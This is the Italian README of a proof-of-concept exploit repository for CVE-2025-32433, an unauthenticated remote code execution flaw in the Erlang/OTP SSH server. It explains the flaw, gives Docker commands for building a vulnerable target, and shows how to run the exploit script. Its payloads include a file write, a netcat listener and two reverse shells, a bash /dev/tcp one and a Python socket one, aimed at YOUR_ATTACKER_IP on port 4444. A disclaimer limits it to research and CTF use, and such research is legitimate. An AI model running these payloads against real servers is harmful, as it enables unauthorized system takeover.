
Proof-of-concept exploit per CVE-2025-32433, che consente l'esecuzione remota di codice non autenticata in Erlang/OTP SSH. Include configurazione Docker e payload di reverse shell per la ricerca sulla sicurezza e le sfide CTF.
Questo repository contiene una Proof-of-Concept (PoC) per la CVE-2025-32433, una vulnerabilità critica di Remote Code Execution (RCE) non autenticata che interessa l'implementazione del server SSH in Erlang/Open Telecom Platform (OTP). Questa PoC è progettata per scopi educativi, ricerca sulla sicurezza e sfide Capture The Flag (CTF).
⚠️ Disclaimer - Solo per uso educativo ed etico ⚠️
Questa PoC è fornita esclusivamente per scopi educativi e di hacking etico. È destinata all'uso in ambienti controllati, come macchine virtuali isolate o piattaforme CTF, dove si dispone dell'autorizzazione esplicita a effettuare test di sicurezza.
NON utilizzare questa PoC contro qualsiasi sistema di cui non si è proprietari o per il quale non si ha un'autorizzazione esplicita e scritta a testare. L'accesso non autorizzato o lo sfruttamento di sistemi informatici è illegale e non etico. L'autore e i manutentori di questo repository non sono responsabili di qualsiasi uso improprio o danno causato da questo codice.
| Attributo | Dettagli |
|---|---|
| ID CVE | CVE-2025-32433 |
| Tipo di vulnerabilità | Remote Code Execution (RCE) non autenticata |
| Punteggio CVSS v3.1 | 10.0 (Critico) |
| Software interessato | Server SSH Erlang/OTP (ssh) |
| Versioni interessate | OTP-27.3.2 e precedenti OTP-26.2.5.10 e precedenti OTP-25.3.2.19 e precedenti Versioni dalla OTP 17.0 e precedenti |
| Versioni corrette | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
La vulnerabilità risiede nel modo in cui il server SSH Erlang/OTP elabora i messaggi del protocollo SSH durante la fase di pre-autenticazione. In particolare, il server non applica correttamente la sequenza del protocollo SSH, consentendo a un attaccante remoto non autenticato di inviare messaggi SSH_MSG_CHANNEL_OPEN e SSH_MSG_CHANNEL_REQUEST appositamente predisposti. Ciò consente all'attaccante di aprire un canale di sessione ed eseguire comandi Erlang arbitrari (che a loro volta possono eseguire comandi di sistema) senza fornire credenziali valide. Se il demone SSH viene eseguito con privilegi elevati (ad esempio come root), uno sfruttamento riuscito può portare al pieno compromesso del sistema.
Il modo più semplice per configurare un server SSH Erlang/OTP vulnerabile è utilizzare il Dockerfile fornito.
Clona questo repository:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Crea l'immagine Docker:
Questo comando compila una versione vulnerabile di Erlang/OTP (OTP-26.2.5.10) e configura il server SSH.
docker build -t erlang-ssh-vulnerable .
Esegui il container del server vulnerabile:
Questo avvia il server SSH Erlang/OTP in background, in ascolto sulla porta 2222.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: Esegue il container in modalità distaccata.--name erlang-ssh-target: Assegna un nome al container per una gestione semplice.-p 2222:2222: Mappa la porta host 2222 alla porta container 2222.Lo script cve_2025_32433_exploit.py può essere eseguito in modalità interattiva o con argomenti da riga di comando.
Se esegui lo script senza argomenti, ti verranno richieste le informazioni necessarie.
python3 cve_2025_32433_exploit.py
127.0.0.1 se si punta a Docker sullo stesso host).2222).Questo è il comportamento predefinito se si lascia vuoto il prompt del comando in modalità interattiva. Crea un file /tmp/note.txt sul target.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!Per ottenere una reverse shell, devi fornire un payload che si colleghi di nuovo a un listener sulla tua macchina.
Avvia un listener Netcat sulla tua macchina attaccante (ad es. Kali Linux) sulla porta scelta.
nc -lvnp 4444
Importante: Assicurati che il firewall (ad es.
ufw) sulla tua macchina attaccante consenta le connessioni in ingresso su questa porta.sudo ufw allow 4444/tcp
Esegui lo script PoC con il payload della reverse shell. Sostituisci YOUR_ATTACKER_IP con l'indirizzo IP della tua macchina.
Reverse shell Bash:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Reverse shell Python (spesso più affidabile):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Controlla il tuo listener Netcat. Dovresti ricevere una connessione e avere una shell sul container target.
Per fermare e rimuovere il container e l'immagine Docker:
# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable
Verifica che il container sia in esecuzione:
docker ps